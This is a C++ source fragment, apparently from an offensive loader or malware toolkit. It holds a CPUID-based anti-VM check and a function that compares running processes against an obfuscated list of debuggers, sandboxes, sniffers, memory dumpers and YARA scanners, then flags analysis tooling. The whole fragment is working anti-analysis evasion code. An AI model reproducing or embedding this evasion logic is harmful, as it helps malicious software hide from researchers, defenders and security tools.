        if (!once) { verbose(OBF(L"[-] ANTI-VM8: CPUID points that we're running in Hypervisor machine.")); once = true; }
    }

    return ret;
}

bool Anti::findRogueProcesses()
{
    std::vector<std::wstring> Rogue_Processes = {
        OBFI(L"apateDNS.exe"),
        OBFI(L"apimonitor-x64.exe"),
        OBFI(L"apimonitor-x86.exe"),
        OBFI(L"autoruns.exe"),
        OBFI(L"autorunsc.exe"),
        OBFI(L"Dbgview.exe"),
        OBFI(L"dumpcap.exe"),
        OBFI(L"DumpIt.exe"),
        OBFI(L"fakenet.exe"),
        OBFI(L"fakenet32.exe"),
        OBFI(L"fakenet64.exe"),
        OBFI(L"Fiddler.exe"),
        OBFI(L"filemon.exe"),
        OBFI(L"floss32.exe"),
        OBFI(L"floss64.exe"),
        OBFI(L"gmer.exe"),
        OBFI(L"handlediff.exe"),
        OBFI(L"HookExplorer.exe"),
        OBFI(L"httpdebugger.exe"),
        OBFI(L"idag.exe"),
        OBFI(L"idag64.exe"),
        OBFI(L"idaq.exe"),
        OBFI(L"idaq64.exe"),
        OBFI(L"ImmunityDebugger.exe"),
        OBFI(L"ImportREC.exe"),
        OBFI(L"joeboxcontrol.exe"),
        OBFI(L"joeboxserver.exe"),
        OBFI(L"listdlls.exe"),
        OBFI(L"livekd.exe"),
        OBFI(L"LordPE.exe"),
        OBFI(L"lordpe.exe"),
        OBFI(L"networkminer.exe"),
        OBFI(L"ollydbg.exe"),
        OBFI(L"ollydbg.exe"),
        OBFI(L"pchunter.exe"),
        OBFI(L"pchunter32.exe"),
        OBFI(L"pchunter64.exe"),
        OBFI(L"pe-bear.exe"),
        OBFI(L"pe-sieve.exe"),
        OBFI(L"peid.exe"),
        OBFI(L"pesieve.exe"),
        OBFI(L"pestudio.exe"),
        OBFI(L"PETools.exe"),
        OBFI(L"proc_analyzer.exe"),
        OBFI(L"procdump.exe"),
        OBFI(L"procdump64.exe"),
        OBFI(L"ProcessHacker.exe"),
        OBFI(L"procexp.exe"),
        OBFI(L"procmon.exe"),
        OBFI(L"ramcapture.exe"),
        OBFI(L"ramcapture64.exe"),
        OBFI(L"regmon.exe"),
        OBFI(L"regshot-x64-ANSI.exe"),
        OBFI(L"regshot-x64-Unicode.exe"),
        OBFI(L"regshot-x64.exe"),
        OBFI(L"regshot-x86-ANSI.exe"),
        OBFI(L"regshot-x86-Unicode.exe"),
        OBFI(L"regshot-x86.exe"),
        OBFI(L"regshot.exe"),
        OBFI(L"reshacker.exe"),
        OBFI(L"ResourceHacker.exe"),
        OBFI(L"rootkitrevealer.exe"),
        OBFI(L"scylla_x64.exe"),
        OBFI(L"scylla_x86.exe"),
        OBFI(L"sigcheck.exe"),
        OBFI(L"sniff_hit.exe"),
        OBFI(L"sysAnalyzer.exe"),
        OBFI(L"SysInspector.exe"),
        OBFI(L"tcpview.exe"),
        OBFI(L"titanhide.exe"),
        OBFI(L"titanhidegui.exe"),
        OBFI(L"totaldump.exe"),
        OBFI(L"tracehook.exe"),
        OBFI(L"vmmap.exe"),
        OBFI(L"windbg.exe"),
        OBFI(L"windbg.exe"),
        OBFI(L"Wireshark.exe"),
        OBFI(L"x32dbg.exe"),
        OBFI(L"x64dbg.exe"),
        OBFI(L"x64helper.exe"),
        OBFI(L"x96dbg.exe"),
        OBFI(L"xuetr.exe"),
        OBFI(L"yara.exe"),
        OBFI(L"yara32.exe"),
        OBFI(L"yara64.exe")
    };

    auto processes = collectRunningProcessNames();
    bool ret = true;

    for (const auto& a : Rogue_Processes)
    {
        if (std::find_if(processes.begin(), processes.end(), [&a](const std::wstring& p) { return stringicompare(p, a); }) != processes.end())
        {
            verbose(OBF(L"[-] ROGUE-PROCESSES: Found rogue processes running in the system: "), a);
            ret &= false;
        }
    }

    return ret;
}